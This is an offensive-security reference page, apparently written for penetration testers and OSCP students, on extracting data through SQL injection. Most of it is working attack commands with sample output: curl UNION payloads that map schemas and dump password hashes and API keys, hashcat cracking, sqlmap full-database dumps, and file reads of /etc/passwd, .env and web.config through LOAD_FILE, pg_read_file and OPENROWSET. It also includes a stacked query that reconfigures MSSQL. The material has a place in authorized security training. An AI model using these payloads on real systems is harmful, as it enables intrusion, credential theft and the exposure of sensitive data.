# Exfiltrating Database Content via SQLi

> Techniques for extracting database contents through SQL injection, covering UNION-based, blind, and out-of-band methods to retrieve sensitive data.

- **URL:** https://hackindex.io/services/web/data-exfiltration/exfiltrating-database-content-via-sqli
- **Path:** HTTP/HTTPS > Data Exfiltration
- **Up:** [Data Exfiltration](https://hackindex.io/services/web/data-exfiltration.md)
- **Published:** 2026-03-28
- **Updated:** 2026-04-24

Once SQL injection is confirmed and you have query execution, the goal shifts to extracting and preserving high-value data efficiently. This page covers targeted extraction of credentials, schema mapping for scope awareness, and bulk export techniques. Run this after establishing injection type through [SQL injection exploitation](https://hackindex.io/services/web/exploitation/sql-injection).

## Map the Database Schema First

Before pulling data, understand what exists to prioritize targets. Pull all schemas and tables in one pass:

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=0 UNION SELECT NULL,group_concat(table_schema,'.',table_name),NULL FROM information_schema.tables WHERE table_schema NOT IN ('information_schema','performance_schema','mysql','sys')--"
# webapp.users,webapp.sessions,webapp.orders,webapp.api_keys
```

Prioritize tables with obvious high-value names before dumping everything:

- users, credentials, accounts: usernames, password hashes, roles
- sessions, tokens: active session IDs for hijacking
- api_keys, oauth_tokens: direct access to external services
- config, settings: database credentials, SMTP passwords, encryption keys
- orders, payments: PCI-relevant data for report findings

orders and logs are secondary unless credential material is expected there.

## Extract Credentials and Hashes

Pull usernames, passwords, and roles from the users table in one query:

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=0 UNION SELECT NULL,group_concat(username,':',password,':',role SEPARATOR '
'),NULL FROM webapp.users--" | grep -v NULL
# admin:5f4dcc3b5aa765d61d8327deb882cf99:administrator
# editor:8d3533d75ae2c3966d7e0d4fcc69216b:editor
# user1:d8578edf8458ce06fbc5bb76a58c5ca4:user
```

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=0 UNION SELECT NULL,group_concat(username,':',password SEPARATOR '
'),NULL FROM webapp.users--" | grep -v NULL > /tmp/sqli_hashes.txt && cat /tmp/sqli_hashes.txt
```

Crack the extracted hashes immediately. MD5 hashes use hashcat mode 0, bcrypt uses mode 3200, SHA1 uses mode 100:

```bash
hashcat -m 0 /tmp/sqli_hashes.txt /usr/share/wordlists/rockyou.txt --username
# 5f4dcc3b5aa765d61d8327deb882cf99:password
# 8d3533d75ae2c3966d7e0d4fcc69216b:iloveyou
```

## Extract API Keys and Tokens

Application tokens and API keys in the database often provide direct access to other services:

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=0 UNION SELECT NULL,group_concat(user_id,':',api_key SEPARATOR '
'),NULL FROM webapp.api_keys--" | grep -v NULL
# 1:sk-prod-xK2aB1cD3eF4gH5iJ6kL7mN8oP9
# 2:sk-prod-qR1sT2uV3wX4yZ5aB6cD7eF8gH9
```

## SQL Injection Data Exfiltration with sqlmap

For full database dumps when manual extraction is too slow, sqlmap handles the complete extraction including all tables:

> [!CAUTION]
> `sqlmap` is prohibited in the OSCP exam. Do not use during exam environments.

```bash
sqlmap -u "http://$TARGET_IP:$PORT/index.php?id=1" --batch --dump-all --exclude-sysdbs --output-dir=/tmp/sqlmap_dump/
```

```bash
sqlmap -u "http://$TARGET_IP:$PORT/index.php?id=1" --batch -D webapp -T users --dump --output-dir=/tmp/sqlmap_dump/
```

## File System Read via SQLi

When the database user has file read privileges, read sensitive files directly through the SQL injection vector without needing LFI.

### MySQL: LOAD_FILE

Requires FILE privilege. Check with `SELECT File_priv FROM mysql.user WHERE user=user()` first.

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=0 UNION SELECT NULL,LOAD_FILE('/etc/passwd'),NULL--" | grep root
# root:x:0:0:root:/root:/bin/bash
```

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=0 UNION SELECT NULL,LOAD_FILE('/var/www/html/.env'),NULL--" | grep -v NULL
# DB_PASSWORD=SuperSecret123!
# APP_KEY=base64:abc123...
```

### PostgreSQL: pg_read_file

`pg_read_file()` reads files from the server filesystem. Requires superuser by default, or membership in the `pg_read_server_files` role on PostgreSQL 11+. The path is relative to the PostgreSQL data directory unless an absolute path is given. Absolute paths require superuser.

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=0 UNION SELECT NULL,pg_read_file('/etc/passwd'),NULL--" | grep root
# root:x:0:0:root:/root:/bin/bash
```

**Read PostgreSQL config for connection info**

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=0 UNION SELECT NULL,pg_read_file('pg_hba.conf'),NULL--"
```

When `pg_read_file()` is not available (non-superuser, pre-11 without the role), try reading files through `COPY FROM` into a temp table via stacked queries, then SELECT from the table.

### MSSQL: OPENROWSET BULK

`OPENROWSET(BULK...)` reads local files into a result set. Requires the ADMINISTER BULK OPERATIONS permission or membership in the bulkadmin server role. Ad Hoc Distributed Queries must be enabled on the server.

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=0 UNION SELECT NULL,(SELECT x FROM OPENROWSET(BULK 'C:\inetpub\wwwroot\web.config',SINGLE_CLOB) AS r(x)),NULL--"
```

`SINGLE_CLOB` reads the file as a single text value. Use `SINGLE_BLOB` for binary files. Common targets on MSSQL servers: `C:\inetpub\wwwroot\web.config` (connection strings, app keys), `C:\Windows\System32\drivers\etc\hosts` (internal hostnames), and application config files in the web root. If Ad Hoc Distributed Queries is disabled and you have sysadmin, enable it through stacked queries:

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=1;EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE--"
```

## Stage and Save Extracted Data

Organize extracted data into files on Kali for reporting and follow-on use:

```bash
mkdir -p /tmp/exfil/$TARGET_IP && curl -sk "http://$TARGET_IP:$PORT/index.php?id=0 UNION SELECT NULL,group_concat(username,':',password SEPARATOR '
'),NULL FROM webapp.users--" | grep -v NULL > /tmp/exfil/$TARGET_IP/hashes.txt && echo "Saved $(wc -l < /tmp/exfil/$TARGET_IP/hashes.txt) hashes"
# Saved 3 hashes
```

## References

- [sqlmap](https://github.com/sqlmapproject/sqlmap) - Automated SQL injection data extraction with dump and output options
- [Hashcat: Mode Reference](https://hashcat.net/wiki/doku.php?id=hashcat) - Hash mode reference for MD5, SHA1, bcrypt and other common password hash formats
- [PostgreSQL: Admin Functions](https://www.postgresql.org/docs/current/functions-admin.html#FUNCTIONS-ADMIN-GENFILE) - pg_read_file and related filesystem access functions
